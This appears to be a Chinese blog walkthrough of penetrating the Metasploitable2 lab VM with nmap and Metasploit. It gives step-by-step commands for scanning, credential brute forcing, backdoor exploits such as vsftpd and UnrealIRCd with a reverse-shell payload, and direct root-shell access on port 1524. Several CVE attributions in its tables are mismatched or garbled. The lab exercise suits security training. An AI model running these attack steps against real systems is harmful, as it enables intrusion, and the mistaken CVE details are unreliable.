记一次Metasploitable2-Linux渗透过程

叠个甲,仅作学习交流用途:本文所涉及的渗透测试相关知识、技术、案例等内容,仅为促进网络安全爱好者、专业人士之间的学习与交流而分享。读者应将这些内容严格用于提升自身的网络安全知识储备、技术能力,以及对网络安全防护体系的理解,严禁将其用于任何非法活动。对于读者因阅读本文后,自行决定实施的任何行为及其产生的后果,本文作者及发布平台不承担任何法律责任。读者在运用渗透测试知识时,务必自行确保行为的合法性与合规性。

使用工具:VM,Metasploitable2-Linux,kali linux

关于工具这里我就不多介绍,网上有教程。

那么开始渗透,渗透环境,msfadmin:192.168.236.142  kali linux:172.19.214.174

1、首先利用nmap扫描目标机的服务以及开放的端口等,做好信息收集

命令:nmap -sS -Pn 192.168.236.142

这里我介绍一下开放端口对应的服务

端口服务名称协议说明
21/tcpftpTCP文件传输协议(可能存在匿名访问风险)
22/tcpsshTCP安全远程管理协议(常用管理端口)
23/tcptelnetTCP明文远程登录协议(高风险,易被嗅探)
25/tcpsmtpTCP邮件传输协议(可能用于垃圾邮件发送)
53/tcpdomainTCPDNS 域名解析服务
80/tcphttpTCPWeb 服务(常见攻击面)
111/tcprpcbindTCP远程过程调用端口映射器(NFS 相关)
139/tcpnetbios-ssnTCPWindows 文件/打印机共享(SMB 旧版)
445/tcpmicrosoft-dsTCP高危端口(SMB 文件共享,永恒之蓝漏洞常见目标)
512/tcpexecTCPBSD 远程执行服务(rlogin 相关)
513/tcploginTCPBSD 远程登录(rlogin)
514/tcpshellTCPBSD 远程命令执行(rsh)
1099/tcprmiregistryTCPJava RMI 注册服务(反序列化漏洞高发)
1524/tcpingreslockTCP数据库服务端口(常被后门程序利用)
2049/tcpnfsTCP网络文件系统(配置不当可能导致未授权访问)
2121/tcpccproxy-ftpTCPCCProxy 代理的 FTP 端口
3306/tcpmysqlTCPMySQL 数据库服务(弱密码风险高)
5432/tcppostgresqlTCPPostgreSQL 数据库服务
5900/tcpvncTCP远程桌面协议(若未加密可被截屏)
6000/tcpX11TCPLinux 图形界面服务
6667/tcpircTCP互联网中继聊天(僵尸网络常见)
8009/tcpajp13TCPApache JServ 协议(Tomcat 连接器)
8180/tcpunknownTCP未知服务(需进一步探测,可能是自定义 Web 服务或管理后台)

接下来一个个开始渗透,我们使用nmap来进行服务版本探测

命令:nmap -sV -p 1-65535 192.168.236.142

 

根据以上信息,整理出下面信息

端口服务/版本高危漏洞弱密码风险
21vsftpd 2.3.4后门漏洞 (CVE-2011-2523):用户名包含":)"可触发任意代码执行极高
22OpenSSH 4.7p1多个漏洞 (CVE-2010-4478, CVE-2008-5161),易受暴力破解极高
23Linux telnetd明文传输凭据,易被嗅探极高
80php服务PHP CGI参数注入执行漏洞
139/445Samba 3.X-4.X永恒之蓝漏洞 (MS17-010),远程代码执行 (CVE-2017-7494)极高
1524Metasploitable root shell后门程序:直接提供root权限shell (绑定shell)-
2121ProFTPD 1.3.1远程代码执行 (CVE-2010-4221),缓冲区溢出漏洞极高
3306MySQL 5.0.51a-3ubuntu5认证绕过漏洞 (CVE-2012-2122),拒绝服务漏洞极高
3632distccd v1远程命令执行 (CVE-2004-2687):未授权访问可执行任意命令-
5432PostgreSQL 8.3.0-8.3.7权限提升漏洞 (CVE-2007-6600),缓冲区溢出 (CVE-2007-4778)极高
5900VNC (protocol 3.3)加密缺陷,可截屏窃取会话极高
6667/6697UnrealIRCd后门漏洞 (CVE-2010-2075):远程命令执行
8009Apache Jserv 1.3文件包含漏洞 (CVE-2020-1938),反序列化漏洞
8180Apache Tomcat 1.1管理后台弱密码,远程代码执行 (CVE-2009-0580)极高

那么根据以上信息,就可以开始渗透了

1、21端口(弱口令漏洞)

此端口漏洞可以使用msfconsole的模块进行渗透

命令:search vsftpd

 这里我们使用1

ok,渗透成功

2、22端口(弱口令漏洞)

22端口的主要问题是弱口令的问题,我们使用msfconsole进行爆破

命令:search ssh_login

show options

set rhost 192.168.236.142

set USER_FILE /home/jie/usernames.txt

set PASS_FILE /home/jie/passwords.txt

run

 

ok,成功爆破,弱口令爆破最主要的点在于根据服务信息生成合适的字典

3、23端口(弱口令漏洞)

23端口也是一个远程连接服务,通过账号密码登录,这里也是可以通过弱口令来爆破的

命令:search telnet_login

show options

set rhost 192.168.236.142

set USER_FILE /home/jie/usernames.txt

set PASS_FILE /home/jie/passwords.txt

run

跟22端口差不多的思路,爆破也可以使用别的工具,比如九头蛇(hydra),美杜莎(medusa)

4、80端口 (PHP CGI参数注入执行漏洞)

PHP CGI 参数注入执行漏洞(PHP CGI Parameter Injection)是一种因 Web 服务器配置不当导致的远程代码执行漏洞,攻击者可通过构造特殊参数绕过安全限制,执行任意系统命令。以下是其核心原理和示例:

一、漏洞背景

PHP 作为 CGI 脚本运行时(如 FastCGI 模式),Web 服务器会将 HTTP 请求头和 URL 参数传递给 PHP 解释器处理。若配置不当,攻击者可通过污染环境变量来影响 PHP 的行为。

二、漏洞原理

1. CGI 环境变量传递机制

当 Web 服务器(如 Nginx/Apache)以 CGI 模式运行 PHP 时,会将部分 HTTP 请求头转换为环境变量传递给 PHP,例如:

  • HTTP_USER_AGENT → $_SERVER['HTTP_USER_AGENT']
  • HTTP_REFERER → $_SERVER['HTTP_REFERER']

2. PHP 配置漏洞点

若 PHP 配置中存在以下情况,可能触发漏洞:

  • register_globals = On(PHP 5.4 之前默认开启):将环境变量直接导入全局变量。
  • allow_url_include = On:允许通过 URL 包含远程文件。
  • cgi.fix_pathinfo = 1(默认开启):路径信息解析漏洞。

在浏览器进行访问

我们可以使用msfconsole进行攻击

命令:search php_cgi

set rhost 192.168.236.142

run

 ok,成功渗透

5、139/445(samba漏洞)

在samba服务也是存在很多漏洞的,比较出名的就是Windows上的永恒之蓝了

在linux上也是有漏洞的,直接通过msfconsole来利用

命令:search samba

也是有好几个的,我们选择excellent的来进行渗透,成功率更高

命令:use 15

set rhost 192.168.236.142

run

ok,渗透成功

6、1099端口(java反序列化漏洞)

一、漏洞背景

Java RMI 是 Java 的远程调用机制,默认监听1099 端口。攻击者可通过构造恶意序列化对象,触发目标服务器的反序列化过程,执行任意命令。

二、漏洞原理

1. Java 序列化与反序列化

  • 序列化:将 Java 对象转换为字节流,便于传输或存储。
  • 反序列化:将字节流还原为 Java 对象,可能触发readObject()方法。

2. 危险类的利用

若目标应用在反序列化过程中包含以下类,可能触发命令执行:

  • commons-collections:利用链TransformerInvokerTransformerRuntime.getRuntime().exec()
  • JRMPClient/JRMPListener:结合 RMI 注册中心实现二次反序列化。

3. RMI 服务漏洞点

Java RMI 服务(默认端口 1099)在处理客户端请求时:

  1. 接收序列化对象。
  2. 调用ObjectInputStream.readObject()进行反序列化。
  3. 若存在危险类,攻击者可注入恶意代码。

那么利用msfconsole

命令:search java_rmi

use 1

set rhost 192.168.236.142

run

ok了

7、1524端口

1524 端口通常与后门程序、未授权访问,直接

telnet 192.168.236.142 1524

就是这么简单这个漏洞

8、3306端口(弱口令漏洞)

使用msf里面的模块直接爆破即可

命令:search mysql_login

use 0

set rhost 192.168.236.142

set USER root

set PASS_FILE /home/jie/password.txt

 没有反应,难不成是空密码,试一下登录 

确实是空密码,由于kali的版本跟靶机的对不上,连不了

9、5432漏洞(弱口令漏洞)

PostgreSQL 弱密码登录漏洞本质是身份认证机制的失效,属于 “认证绕过” 类安全问题。当管理员为 PostgreSQL 数据库设置弱密码(如postgres/postgresadmin/123456等),且数据库允许远程访问时,攻击者可通过暴力破解或直接使用默认密码登录,获取数据库控制权。

直接使用模块进行爆破

命令:search postgres_login

use 0

set rhost 192.168.236.142

set USER_FILE /home/jie/username.txt

set PASS_FILE /home/jie/password.txt

run

账号postgres,密码postgres

进行登录测试即可

命令:psql –h ip –U postgres

10、5900端口(VNC弱口令漏洞)

VNCViewer是一个远程桌面控制程序,它可以让用户通过网络连接到远程计算机并控制该计算机的桌面。通过密码登录,可以通过爆破渗透

成功爆出密码password,登录一下

ok,成功登录

11、6667/6697端口(IRC漏洞)

IRC 服务默认使用 6667 端口,6697 端口通常用于 IRC 的 SSL 连接1。与 IRC 服务相关的常见后门漏洞是 UnrealIRCd 的后门漏洞,漏洞编号为 CVE-2010-20754。其漏洞原理如下6:

在 2009 年 11 月到 2010 年 6 月间,某些镜面站点的 UnrealIRCd 版本中,DEBUG3_DOLOG_SYSTEM 宏包含了外部引入的恶意代码。远程攻击者可利用该漏洞,向 IRC 服务器发送特定请求,触发恶意代码执行,从而在受影响的主机上执行任意代码,获取服务器权限或进行其他恶意操作。

还是使用msf中的模块进行攻击

使用其中的后门漏洞

命令:use 42(exploit/unix/irc/unreal_ircd_3281_backdoor)

set rhost 192.168.236.142

set lhost 172.19.214.174

show payloads

set payload 6

run

ok,成功getshell

12、8180端口

tomcat服务,登录存在弱口令密码

直接使用bp爆破,我是直接试出来的

ok,以上就是渗透的所有过程,主要是对工具msfconsole的深度利用,以及对对应服务的漏洞了解和利用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值